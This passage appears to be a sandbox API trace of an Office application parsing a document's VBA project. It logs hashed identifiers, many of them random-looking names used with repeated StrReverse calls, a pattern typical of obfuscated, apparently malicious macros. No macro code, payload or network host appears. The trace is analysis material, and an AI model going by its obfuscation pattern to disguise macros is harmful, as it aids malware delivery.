[0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TvTmYdO") returned 0x108816 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iBSFSoo") returned 0x10196d [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.291] CExposedStream::Read () returned 0x0 [0018.291] CExposedStream::Read () returned 0x0 [0018.292] CExposedStream::Read () returned 0x0 [0018.292] CExposedStream::Read () returned 0x0 [0018.292] strcpy_s (in: _Dst=0x7fef108d150, _DstSize=0x100, _Src="EUHUHUCzL" | out: _Dst="EUHUHUCzL") returned 0x0 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZwKzZYmsH") returned 0x103e04 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZYFiRF") returned 0x10fd9f [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SUKaGv") returned 0x100eab [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cOwvibZBf") returned 0x10a020 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="EowZnMupfv") returned 0x101844 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iYlHrhPst") returned 0x10a681 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IBavROzonIu") returned 0x109819 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="tTsKLC") returned 0x10f721 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uYRndOIYcJ") returned 0x10f6ad [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pjspMz") returned 0x1003fb [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cFfzVcmEk") returned 0x100144 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PsuCfk") returned 0x106a19 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OYcpboSJ") returned 0x1027a4 [0018.292] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="vUaJaAHPtq") returned 0x10e85b [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="SfJiXl") returned 0x10e9b4 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="HnOrl") returned 0x106a8c [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nKpiRbZUA") returned 0x10abbe [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jzmRcsTJOf") returned 0x101179 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VONBjPUzzj") returned 0x104ecb [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OopIdvk") returned 0x10fbc7 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZkXmU") returned 0x108b58 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hdLRa") returned 0x10a1cc [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wfLbfUqHnQ") returned 0x109794 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="FfCOE") returned 0x10d8e0 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="uOnvDA") returned 0x109168 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="liABVz") returned 0x10e7eb [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="RcbnDP") returned 0x100785 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JJaQRqA") returned 0x103de4 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="pHRiGRObCH") returned 0x10e118 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="lNrwtdTF") returned 0x10da99 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PoGNRkNStb") returned 0x10bbbf [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="bwDDStVhNLB") returned 0x1046da [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jdVEYd") returned 0x1027bd [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="hVdoSazM") returned 0x10c627 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="kujWlSOhznU") returned 0x1013a6 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ijiiWi") returned 0x108863 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JSXsKEo") returned 0x108a61 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="TLksipZ") returned 0x10e7cc [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="IroNYtzZKL") returned 0x1059a0 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JJCkwGYC") returned 0x10ebef [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fCDBtsOf") returned 0x10dc2c [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZwAfuLkJl") returned 0x103199 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.293] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="NzjTufubt") returned 0x10d03a [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="StrReverse") returned 0x10179f [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0018.294] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0018.294] CExposedStream::Read () returned 0x0 [0018.294] CExposedStream::Release () returned 0x1 [0018.294] CExposedStream::Release () returned 0x0 [0018.294] CExposedStream::Release () returned 0x0 [0018.294] IMalloc:Free (This=0x7fefe9e5380, pv=0x7ab8a20) [0018.294] IMalloc:Free (This=0x7fefe9e5380, pv=0x7ab69f0) [0018.294] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb49a90) [0018.294] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb47a60) [0018.294] CExposedStream::Seek () returned 0x80030102 [0018.294] CExposedStream::Release () returned 0x0 [0018.294] IMalloc:Free (This=0x7fefe9e5380, pv=0x798efd0) [0018.294] lstrcpyA (in: lpString1=0xa24867c, lpString2="PROJECT" | out: lpString1="PROJECT") returned="PROJECT" [0018.294] CExposedDocFile::Stat () returned 0x0 [0018.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa24867c, cbMultiByte=-1, lpWideCharStr=0x307e30, cchWideChar=8 | out: lpWideCharStr="PROJECT") returned 8 [0018.295] CExposedDocFile::OpenStream () returned 0x0 [0018.295] CExposedDocFile::AddRef () returned 0x3 [0018.295] CExposedStream::Stat () returned 0x0 [0018.295] CExposedStream::Read () returned 0x0 [0018.295] lstrlenA (lpString="") returned 0 [0018.295] lstrcpyA (in: lpString1=0xa10ded0, lpString2="" | out: lpString1="") returned="" [0018.295] lstrlenA (lpString="") returned 0 [0018.295] lstrcpyA (in: lpString1=0xa10df10, lpString2="" | out: lpString1="") returned="" [0018.295] lstrlenA (lpString="") returned 0 [0018.295] lstrcpyA (in: lpString1=0xa10df50, lpString2="" | out: lpString1="") returned="" [0018.295] lstrlenA (lpString="") returned 0 [0018.295] lstrcpyA (in: lpString1=0xa10df90, lpString2="" | out: lpString1="") returned="" [0018.295] lstrcpynA (in: lpString1=0xa248b10, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0018.295] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0018.295] lstrcpyA (in: lpString1=0xa248d50, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0018.296] lstrcpynA (in: lpString1=0xa248db0, lpString2="Workspace", iMaxLength=256 | out: lpString1="Workspace") returned="Workspace" [0018.296] lstrlenA (lpString="0, 0, 0, 0, C") returned 13 [0018.296] lstrcpyA (in: lpString1=0xa248ff0, lpString2="0, 0, 0, 0, C" | out: lpString1="0, 0, 0, 0, C") returned="0, 0, 0, 0, C" [0018.296] lstrlenA (lpString="22, 22, 1382, 689, ") returned 19 [0018.296] lstrcpyA (in: lpString1=0xa249170, lpString2="22, 22, 1382, 689, " | out: lpString1="22, 22, 1382, 689, ") returned="22, 22, 1382, 689, " [0018.296] lstrlenA (lpString="44, 44, 1404, 711, ") returned 19 [0018.296] lstrcpyA (in: lpString1=0xa249190, lpString2="44, 44, 1404, 711, " | out: lpString1="44, 44, 1404, 711, ") returned="44, 44, 1404, 711, " [0018.296] lstrlenA (lpString="66, 66, 1426, 733, ") returned 19 [0018.296] lstrcpyA (in: lpString1=0xa2491b0, lpString2="66, 66, 1426, 733, " | out: lpString1="66, 66, 1426, 733, ") returned="66, 66, 1426, 733, " [0018.296] CExposedDocFile::OpenStream () returned 0x0 [0018.296] CExposedStream::Stat () returned 0x0 [0018.296] CExposedStream::Read () returned 0x0 [0018.296] CExposedStream::Release () returned 0x0 [0018.296] lstrcpyA (in: lpString1=0xa10def0, lpString2="" | out: lpString1="") returned="" [0018.297] lstrcmpiA (lpString1="ThisDocument", lpString2="ThisDocument") returned 0 [0018.297] lstrlenA (lpString="ThisDocument") returned 12 [0018.297] lstrcpyA (in: lpString1=0xa10df30, lpString2="" | out: lpString1="") returned="" [0018.297] lstrcmpiA (lpString1="PZuISOiIa", lpString2="PZuISOiIa") returned 0 [0018.297] lstrlenA (lpString="PZuISOiIa") returned 9 [0018.297] lstrcpyA (in: lpString1=0xa10df70, lpString2="" | out: lpString1="") returned="" [0018.297] lstrcmpiA (lpString1="wTvKzqFRU", lpString2="wTvKzqFRU") returned 0 [0018.297] lstrlenA (lpString="wTvKzqFRU") returned 9 [0018.297] lstrcpyA (in: lpString1=0xa10dfb0, lpString2="" | out: lpString1="") returned="" [0018.297] lstrcmpiA (lpString1="sApJzDAat", lpString2="sApJzDAat") returned 0 [0018.297] lstrlenA (lpString="sApJzDAat") returned 9 [0018.297] atoi (_Str="393222000") returned 393222000 [0018.297] lstrcpynA (in: lpString1=0xa10cb0c, lpString2="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}", iMaxLength=39 | out: lpString1="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}") returned="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}" [0018.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{00000000-0000-0000-0000-000000000000}", cchWideChar=-1, lpMultiByteStr=0x307e20, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{00000000-0000-0000-0000-000000000000}", lpUsedDefaultChar=0x0) returned 0 [0018.297] lstrcmpA (lpString1="{00000000-0000-0000-0000-000000000000}", lpString2="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}") returned -1 [0018.297] lstrlenA (lpString="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}") returned 38 [0018.297] lstrlenA (lpString="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}") returned 38 [0018.297] lstrlenA (lpString="{87C1A3FA-95F4-4AB3-B1F3-64DB7CF48A09}") returned 38 [0018.298] CExposedStream::Commit () returned 0x0 [0018.298] CExposedStream::Release () returned 0x0 [0018.298] CExposedDocFile::OpenStream () returned 0x80030002 [0018.298] lstrlenA (lpString="&H00000001") returned 10 [0018.298] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0018.298] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0018.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa249ba0, cbMultiByte=-1, lpWideCharStr=0x307e60, cchWideChar=39 | out: lpWideCharStr="{3832D640-CF90-11CF-8E43-00A0C911005A}") returned 39 [0018.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xa249bc7, cbMultiByte=-1, lpWideCharStr=0x307e50, cchWideChar=4 | out: lpWideCharStr="VBE") returned 4 [0018.298] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781fb98, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.298] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781fb98, cbMultiByte=8, lpWideCharStr=0x75c9478, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0018.298] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x307d60, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.298] lstrlenA (lpString="Project") returned 7 [0018.299] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x28) returned 0x781c470 [0018.299] GetCursorPos (in: lpPoint=0x308010 | out: lpPoint=0x308010*(x=959, y=696)) returned 1 [0018.299] GetCapture () returned 0x0 [0018.299] WindowFromPoint (Point=0x2b8000003bf) returned 0x10202 [0018.299] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0018.299] SendMessageA (hWnd=0x10202, Msg=0x84, wParam=0x0, lParam=0x2b803bf) returned 0x1 [0018.299] SendMessageA (hWnd=0x10202, Msg=0x20, wParam=0x10202, lParam=0x2000001) returned 0x1 [0018.330] SetCursor (hCursor=0x10007) returned 0x10007 [0018.333] GetCurrentThreadId () returned 0x9d8 [0018.333] GetCurrentThreadId () returned 0x9d8 [0018.333] CExposedDocFile::CreateStorage () returned 0x0 [0018.333] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x280) returned 0x794f920 [0018.333] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x1738) returned 0xbb66c70 [0018.333] GetLocalTime (in: lpSystemTime=0x307828 | out: lpSystemTime=0x307828*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x278)) [0018.333] _ultow_s (in: _Value=0x5bf1acda, _Buffer=0x794f94a, _BufferCount=0x103, _Radix=16 | out: _Buffer="5bf1acda") returned 0x0 [0018.333] wcsncpy_s (in: _Destination=0x3074f0, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.333] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x307420, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.333] wcscpy_s (in: _Destination=0x5342b28, _SizeInWords=0xe, _Source="*\\Z055bf1acda" | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.333] wcsncpy_s (in: _Destination=0x307530, _SizeInWords=0x108, _Source="*\\Z055bf1acda", _MaxCount=0x106 | out: _Destination="*\\Z055bf1acda") returned 0x0 [0018.333] CharLowerBuffW (in: lpsz="*\\Z055bf1acda", cchLength=0xd | out: lpsz="*\\z055bf1acda") returned 0xd [0018.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z055bf1acda", cchWideChar=14, lpMultiByteStr=0x307460, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z055bf1acda", lpUsedDefaultChar=0x0) returned 14 [0018.333] CExposedDocFile::AddRef () returned 0x2 [0018.333] CExposedDocFile::AddRef () returned 0x2 [0018.333] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x84) returned 0x795a040 [0018.333] wcscpy_s (in: _Destination=0x795a0b0, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10420 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a104e0 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a20bf0 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a20e40 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7a21090 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x28) returned 0x781c350 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7545f80 [0018.334] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x30719c, cchData=6 | out: lpLCData="1252") returned 5 [0018.334] atoi (_Str="1252") returned 1252 [0018.334] GetLocalTime (in: lpSystemTime=0x307190 | out: lpSystemTime=0x307190*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x278)) [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a1f0 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8040 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a280 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c320 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x795a310 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8050 [0018.334] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x0) returned 0x79f8060 [0018.334] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x6ff0000 [0018.335] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x9df0000 [0018.335] CExposedDocFile::CreateStream () returned 0x0 [0018.335] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x420) returned 0xbb7ef00 [0018.335] CExposedStream::AddRef () returned 0x2 [0018.335] CExposedStream::Release () returned 0x1 [0018.335] CExposedStream::Release () returned 0x0 [0018.335] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb7ef00) [0018.336] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="0") returned 0x101047 [0018.336] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x1000, flProtect=0x4) returned 0x7240000 [0018.336] VirtualAlloc (lpAddress=0x9df0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9df0000 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Abs") returned 0x1072bc [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Access") returned 0x101d98 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="AddressOf") returned 0x10e252 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Alias") returned 0x10bf6d [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Any") returned 0x10747a [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Append") returned 0x108f83 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Array") returned 0x109183 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Assert") returned 0x1096e9 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B") returned 0x101059 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base") returned 0x10afa9 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="BF") returned 0x105ca5 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Binary") returned 0x1008a0 [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Boolean") returned 0x10978e [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByRef") returned 0x1074ef [0018.337] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Byte") returned 0x101a83 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ByVal") returned 0x1089c5 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Call") returned 0x10744b [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Case") returned 0x107547 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CBool") returned 0x104c74 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CByte") returned 0x106d3c [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CCur") returned 0x108050 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDate") returned 0x108dc3 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDec") returned 0x10834a [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDbl") returned 0x1082e4 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CDecl") returned 0x10a0b9 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ChDir") returned 0x10b2fb [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CInt") returned 0x109f65 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Circle") returned 0x103fd1 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CLng") returned 0x10af63 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Compare") returned 0x10af82 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Const") returned 0x10517a [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CSng") returned 0x10d4d2 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CStr") returned 0x10d5bb [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir$") returned 0x10f7cc [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CurDir") returned 0x101bab [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVar") returned 0x10e307 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVDate") returned 0x10cfd6 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CVErr") returned 0x108902 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Currency") returned 0x10f106 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Database") returned 0x10eec7 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date$") returned 0x1031c7 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Date") returned 0x103b0a [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Decimal") returned 0x1036dd [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Declare") returned 0x104a38 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefBool") returned 0x1091ad [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefByte") returned 0x10b275 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefCur") returned 0x10cc45 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDate") returned 0x10d2fc [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDec") returned 0x10cf3f [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefDbl") returned 0x10ced9 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefInt") returned 0x10eb5a [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefLng") returned 0x10fb58 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefObj") returned 0x10096b [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefSng") returned 0x102088 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefStr") returned 0x102171 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DefVar") returned 0x102ebd [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir$") returned 0x106567 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dir") returned 0x1083c9 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Do") returned 0x105cf8 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="DoEvents") returned 0x109634 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Double") returned 0x100d99 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Each") returned 0x10fe75 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Else") returned 0x103b56 [0018.338] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0018.339] LHashValOfNameSysA (syskind=0x3, 